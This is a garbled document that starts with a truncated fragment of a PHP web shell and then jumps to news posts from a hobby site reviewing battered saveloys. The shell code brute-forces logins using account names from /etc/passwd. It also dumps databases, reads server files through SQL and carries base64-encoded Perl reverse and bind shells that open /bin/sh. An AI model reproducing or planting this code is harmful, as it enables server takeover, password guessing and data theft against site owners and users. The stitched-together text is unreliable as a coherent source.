if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($line[0]).'
';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
$success++;
echo ''.htmlspecialchars($_POST['login']).':'.htmlspecialchars($line).'
';
}
}
}
echo "Attempts: $attempts Success: $success

";
}
echo '

Bruteforce

'
.''
.''
.''
.''
.''
.''
.'
Type
'
.''
.''
.''
.'Server:port
Brute type
'
.''
.''
.'
Login
Dictionary
'
.'
';
echo '

';
wsoFooter();
}

function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error();
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str, $this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table wso2');
return array('file'=>implode("n",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
$sql = $create[1].";n";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query('SELECT * FROM `'.$table.'`');
$i = 0;
$head = true;
while($item = $this->fetch()) {
$sql = '';
if($i % 1000 == 0) {
$head = true;
$sql = ";nn";
}

$columns = array();
foreach($item as $k=>$v) {
if($v === null)
$item[$k] = "NULL";
elseif(is_int($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES nt(".implode(", ", $item).')';
$head = false;
} else
$sql .= "nt,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
$i++;
}
if(!$head)
if($fp) fwrite($fp, ";nn"); else echo(";nn");
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."n";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
if(empty($_POST['file'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST['file'], 'w')) {
foreach($_POST['tbl'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST['p2']);
} else
die('');
}
wsoHeader();
echo "

Sql browser












TypeHostLoginPasswordDatabase
";
$tmp = "";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
$db->listDbs();
echo "';
}
else echo $tmp;
}else
echo $tmp;
echo "
count the number of rows

";
if(isset($db) && $db->link){
echo "
";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "";
}
echo "
Tables:

";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo " ".$value."" . (empty($_POST['sql_count'])?' ':" ({$n['n']})") . "
";
}
echo "
File path:
";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "".$_POST['p2']." ({$num['n']} records) Page # ";
echo " of $pages";
if($_POST['p3'] > 1)
echo " < Prev";
if($_POST['p3'] < $pages)
echo " Next >";
$_POST['p3']--;
if($_POST['type']=='pgsql')
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "

";
}
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if($db->res !== false) {
$title = false;
echo '';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '';
foreach($item as $key => $value)
echo '';
reset($item);
$title=true;
echo '';
$line = 2;
}
echo '';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo '';
else
echo '';
}
echo '';
}
echo '
'.$key.'
null'.nl2br(htmlspecialchars($value)).'
';
} else {
echo '
Error: '.htmlspecialchars($db->error()).'
';
}
}
echo "

";
echo "

";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "
Load file
";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '
'.htmlspecialchars($file['file']).'
';
}
} else {
echo htmlspecialchars($db->error());
}
echo '
';
wsoFooter();
}
function actionNetwork() {
wsoHeader();
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsI
Reddit
14/2/2014 11:23
Posted by beefsack
Add comment
Shout out to /r/canberra on reddit!
Vegan Savs!
25/3/2009 0:45
Posted by baconheist
Add comment
I call shenanigans!

It is true however, the crew from batteredsav.com have made a vegan sav!

you can see the process here

Maybe you can make your own batch animal friendly savs at home!
News from the US of A
24/3/2009 23:57
Posted by baconheist
Add comment
Wazza writes to us at batteredsav.com saying:

Just wanted to say THANX ... for the B. Sav concockshon!
I am an e-pat Ozzie now living in Texas USA. (From Newcastle). I CANT buy a bloody decent hamburger, meat pie, chips, battered fish ... or a bloody battered sav! (The bloody 'Yanks' have no clue)! Everything is either Macca's, or Macca's like. I really miss this suicide food. (By the way; the best one (actually 4), that I ever had was at a chip shop in Tuncurry, N.S.W., c. 30 years ago! :-))

The 'Yanks' that I have talked to have a mental 'brain fart' if you even mention about putting an egg or perhaps a ring of fried pineapple, tomato on a burger! God! ... if somebody actually had the resources to do it, we could do some real 'damage' to the American food icons! Yeaaahhhh!!! (Teach them what FLAVOUR and death by food REALLY means)! ... and how to spell it! :-))

:-)) I love the Yanks. Wazza.

Thanks for dropping us a line Wazza, sure makes us glad we still have access to all the finer things in the way of take away food :D
New Sav Recipe
21/7/2008 20:24
Posted by beefsack
Add comment
Our friendly sav enthusiast have2sons has written a detailed sav recipe with a secret technique for the best batter. We will definitely try it next time we arc up the Savinator.

Read the recipe here.
Interstate Sav Reviews
16/2/2008 20:18
Posted by beefsack
1 comments
Some good news from our southern neighbour, Wal;

"I have noticed that you have not review many Savs in Victoria. I will make it my own personal endeavor to review some Sav locations around Melbourne, to enable fellow Sav lovers to get their fix if or when they are in Melbourne. I am an avid Sav fan and have a particular weakeness for the "Battered Sav in a Hot Dog Roll" for those who have not tried it, it is a worthy snack and I recommend you try it soon. I look forward to giving you guys essential intel for a trip to Melbourne. Regards Wal"

Thanks for the hot dog tip we will definitely give it a spin. In other news, we should have some reviews ready in the next week or two for everybody's perusal.
Happy Australia Day!
1/2/2008 1:47
Posted by baconheist
Add comment
And to celebrate (amongst other things) I ate (amongst other things) a sav! Read all about D.J. Blyth and his craaazy sav!.

Please notice my second pun in the review which I am quite proud of, but beefsack missed all together - which I guess is excusable at 1:30am on a 'school night'.
And... A new review!
25/1/2008 14:04
Posted by beefsack
Add comment
To celebrate the re-opening of batteredsav.com, we have added a review of the Hughes Sav
The sav is back!
24/1/2008 11:48
Posted by beefsack
Add comment
After getting hacked, I have finally cleaned everything up and the site is up and running again.
Forum updated - spammers away with you!
2/5/2007 14:01
Posted by beefsack
Add comment
Updated the forum to the latest version of SMF today, hopefully will curb a few spammers with its new security system.
Website down
2/5/2007 12:48
Posted by beefsack
Add comment
Terribly sorry for the downtime over the last week, the domain is back in our hands and everything seems to be in working order again.
more reviews
21/2/2007 19:05
Posted by baconheist
Add comment
It's been a while since our favorite angry mate has contributed (hell it's been a while since anyone's contributed) but Awesome Wolf's come back especially to reinforce what I said about Theo and to shed some new light on another kippax sav Bon Appétit.
Batteredsav.com Merchandise!
15/1/2007 2:31
Posted by beefsack
Add comment
Finally you can get all your batteredsav.com related gear from our new CafePress shop! Buy everything from hats to shirts to stickers to mouse mats to g-strings :)

batteredsav.com CafePress page
Huzzah for review
26/9/2006 15:08
Posted by beefsack
1 comments
Our devoted savee Pornbat has written us a delectable review on the Banks sav. Read it here.
Sav has moved to its new home!
16/8/2006 2:48
Posted by beefsack
Add comment
Batteredsav.com is now hosted on my webspace and finally we are in control of our own hosting which will reap great benefits, ie. this site won't disappear without a trace without us knowing or anything. Look forward to more development on the sav soon :)
Batteredsav newety
16/8/2006 0:00
Posted by baconheist
1 comments
Hi guys!

I have just invented the word newety and we have just uploaded a bunch on new features.

you can now see how many comments a news item has and some 'under the hood changes' for us admins.

also Awesomewolf and BJ have been given contributer permissions so their reviews and articles don't go through the same rigourous approval proccess as everybody else's.

Submit a worthy review and you could be a certified contributer, free from the tyrany of our power triping.

stay safe...
67 New Arcade Games
13/8/2006 21:07
Posted by beefsack
1 comments
I noticed the arcade was getting a bit stale, so I got rid of the old games, and added 67 new ones.

Enjoy
Another new review from a sav reader
12/8/2006 12:04
Posted by beefsack
Add comment
We see more wins as an indoor soccer team than we do user reviews as sav admins which is quite scary, but when they come they make us happy and give us the urge to give the reviewer free batteredsav.com merchandise. This review is an excellent piece of reviewwage by trusty sav user BeeJay and his even more trusty siblings Skittles and Blaze. The lesson of this review? \"Savs\" are very expensive in Disneyland. Read on:

Disneyland review

And a reminder to users, we wanna see more reviews, there was a lot of coding done last night and more coding is scheduled today to make batteredsav.com more user friendly and less bug friendly, hope to see those reviews flood in.
Just like promised...
11/8/2006 1:15
Posted by baconheist
Add comment
there's new stuff on the sav. woo! I have finally written up the sav science. Forgive me if it's not informative or funny, but i'm tired. No doubt someone with admin access will read it, be horrified and take it down post-haste, but we'll see how long it survives. With no further ado, here is the long awaited third sav science.

please enjoy!
Our old sites immortalised!
3/8/2006 22:15
Posted by baconheist
Add comment
Coffee Insomnia Chicken

Crisp Bread Snack

Once each site hits 100 hits we will restart development on batteredsav.com
We are famous
10/2/2006 11:22
Posted by baconheist
2 comments
Let me tell you a story: Beef and I went into a random shop yesterday to make some various enquiries and the shop keeper goes "GOOD GOD! you're the fella from batteredsav.com"

This relisation of our widespread fame has been a reminder to us that this site is important and the entire battered sav community would be poorer for losing us... more reviews to come :D.

While I'm on the topic all you savvers that have gone over seas/out of town and say to us "we've done a review for you" write it up. Only 2 reviews have been user-submitted (thanks awesome wolf) and im sure we all agree are the best reviews on the site. So start submitting those reviews for the greater good of the sav-lovin' community...
RIP Mama Ria's
11/11/2005 15:21
Posted by baconheist
Add comment
So, the only 10/10 sav in canberra is gone, in it's place is some terrible frank sav. I think we should all shed a communal tear and boycott this travesty of a sav vendor. I hate you theo check the totaly bias free review here
even more new reviews!
24/10/2005 18:14
Posted by baconheist
Add comment
yes that's right, even more reviews for you to enjoy! these 4 are from beefsack and my sav reviewing bonanza! 4 reviews in one day, here they all are: Phillip Snackbar, Phillip Snack Bar & Cafe, Fisher Take Away Food, Weston Takeaway Food...
Enjoy! And remember, if you disagree with any of these or would like to add your two cents, feel free to submit your own reviews of these savs...
Sydney reviews
24/10/2005 17:35
Posted by beefsack
Add comment
I just went on a short trip to Sydney and decided to sample some savs while I was there. Please enjoy the Central Station and Circular Quay reviews.

Hopefully we can organise a Sydney sav adventure with a million reviews soon, or if any Sydney siders want to review too they are more than welcome.
New review by Awesomewolf
24/10/2005 11:36
Posted by beefsack
Add comment
A great review by Awesomewolf on the Kambah trailer sav. Check it out now here.
Teething issues
11/10/2005 12:15
Posted by beefsack
2 comments
Now that the site has gone live, some problems have arisen that managed to fall through our strict testing scheme which lasted about 5 minutes before release. A bug has been removed where the comments weren't in chronological order, and a bug in the admin system has also been removed. But now most things are working how we want, we will add dates to the comments so you can see when they were posted, and after that there will be more site features on the way.

Also looking at keen sav eaters (BJ) and master reviewers (Dave) to submit some stuff if they have the time, particularly the Indian review by Dave if he has the time to copy it out of the forum and paste it into the contribute section of the site.

A note on the mouse mats, wow they sold fast and were a huge hit, our first run all sold out, and if people are interested who missed out the first time, if they could comment here and show their interest we will see if its viable to do another run and how many to get. Since the first run put me and Steve at a huge loss, we will have to increase the introductory price from $10 to the whopping huge price of around $11. Kicking yourself now that you didnt get one first round arent you!

More reviews to come, stay tuned.
Batteredsav.com Version 2 Released
3/10/2005 8:56
Posted by beefsack
3 comments
Hello and welcome to the new look new feel new vat batteredsav.com which we have been working labouriously over for weeks. Out is the giant link pictures, although the trademark spelling errors remain. Sav 2 is here.

New features to batteredsav.com include:

  • User registration, including:

    • Registered users can submit their own reviews and articles, including submitting their personal review to already reviewed savs

    • Registered users can submit their own comments to news, reviews and articles

    • Personal user profiles, showing all of your submitted reviews and articles, and info about you (coming soon)

    • Super secure register and login scripts so your info is safe


  • Simple easy to use site navigation

  • Sort reviews by score, name, state etc.

  • Simple data entry system, which means more updates more often!

  • Fancy sav logo, designed by a real designer! Thanks goes to Steve G for that one.

To commemorate our release we have manufactured a run of limited edition mouse mats sporting our brand new logo - most of them have been snapped up by private investors and stake holders but for only 10 dollars you can own a piece of limited edition history. To secure yours today let us know via any means you have - forum, email or carrier pigeon, But be quick because we have very few left and the next batch wont be limited edition or this cheap...

To coincide with the big update, we have also added a lot of site content for you to enjoy! 4 reviews and a sav recipe for you to feast your eyes on.

The Pizza King
Isabella Takeaway
Yass Street Take Away
Monster Truck fast food vendor

And the super secret recipe, the Sav Milkshake!!

But before you do, click on the register link below the menu now to register your user and start participating in the new batteredsav.com! Please note that your forum account and main page accounts are separate, so even if you have a forum account you will need to do the quick and easy registration process.

Thanks for supporting batteredsav.com and please enjoy the second coming of batteredsav.com! Now go and review your favourite local sav!